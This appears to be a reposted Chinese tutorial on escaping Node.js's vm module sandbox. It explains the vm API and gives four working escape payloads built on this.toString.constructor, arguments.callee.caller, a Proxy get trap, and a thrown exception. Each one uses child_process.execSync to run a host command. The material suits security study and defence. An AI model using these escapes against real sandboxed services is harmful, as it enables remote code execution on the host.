目录
沙箱绕过原理
VM模块
1.vm.createContext([sandbox])
2.vm.runInContext
3.vm.runInNewContext
4.vm.Script类
5.new vm.Script(code, options)
绕过方法
1.通过this
2.在没有this的情况下采用arguments对象
3.使用Proxy来劫持所有属性
4..借助异常
沙箱绕过原理
沙箱绕过的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱
VM模块
vm模块是Node.JS内置的一个模块。
理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。
简单介绍一下vm模块的用法
1.vm.createContext([sandbox])
在使用前需要先创建一个沙箱对象,再将沙箱对象传给该方法(如果没有则会生成一个空的沙箱对象),v8为这个沙箱对象在当前global外再创建一个作用域,此时这个沙箱对象就是这个作用域的全局对象,沙箱内部无法访问global中的属性。
2.vm.runInContext
vm.runInContext(code, contextifiedSandbox[, options])
参数为要执行的代码和创建完作用域的沙箱对象,代码会在传入的沙箱对象的上下文中执行,并且参数的值与沙箱内的参数值相同
再多提一点别的
3.vm.runInNewContext
vm.runInNewContext(code[, sandbox][, options])
creatContext和runInContext的结合版,传入要执行的代码和沙箱对象。
4.vm.Script类
vm.Script类型的实例包含若干预编译的脚本,这些脚本能够在特定的沙箱(或者上下文)中被运行。
5.new vm.Script(code, options)
创建一个新的vm.Script对象只编译代码但不会执行它。编译过的vm.Script此后可以被多次执行。值得注意的是,code是不绑定于任何全局对象的,相反,它仅仅绑定于每次执行它的对象。
code:要被解析的JavaScript代码
举一个常用的例子
const vm = require('vm'); //引入vm模块
const script = `m + n`;
const sandbox = { m: 1, n: 2 };
const context = new vm.createContext(sandbox); //创建沙箱对象
const res = vm.runInContext(script, context);//指定要执行的代码块和指定的沙箱
console.log(res)
绕过方法
1.通过this
我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境
this.toString.constructor('return process')()
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
第一行的 this.toString 获得函数对象,this.toString.constructor获得函数对象的构造器Function ,Function中可以传入字符串类 "return process" 来获得process对象
第二行 利用process对象执行想要执行的代码whoami
这里有一个值得注意的地方
为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?
这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。
那么另一个问题,m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?
这个原因就是因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的
所以,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。
2.在没有this的情况下采用arguments对象
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null); //指向null啦
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
采用arguments对象
arguments.callee.caller获得调用这个函数的调用者。 arguments.callee,指向函数本身,arguments.caller指向函数的父类,调用者调用该函数者,类似于this
(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a })()
①a 是空对象,也是箭头函数最后要返回的对象
②a.toString修改了toString方法返回使用process子模块执行任意代码,且只对a对象起作用,
③cc 获取的就是 process对象
④res = vm.runInContext(script, context); res成为执行script代码后的新的对象script代码块最终返回a对象,所以其实就是a
⑤.console.log('Hello ' + res) 字符串拼接对象,自动调用a对象里的toString方法,执行我们想要的代码
3.使用Proxy来劫持所有属性
只要沙箱外获取了属性,我们仍然可以用来执行恶意代码
(() => {
const a = new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
})
return a })()
//使用proxy代理操作拦截对象属性的读取,当读取数据的时候就触发proxy
4..借助异常
将沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞文章来源:https://www.toymoban.com/news/detail-628585.html
具体的代码文章来源地址https://www.toymoban.com/news/detail-628585.html
vm = require('vm');
const code5 = `throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
}) `;
try { vm.runInContext(code5, vm.createContext(Object.create(null))); }
catch(e)
{ console.log('error happend: ' + e); }
到了这里,关于nodejs沙箱绕过的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!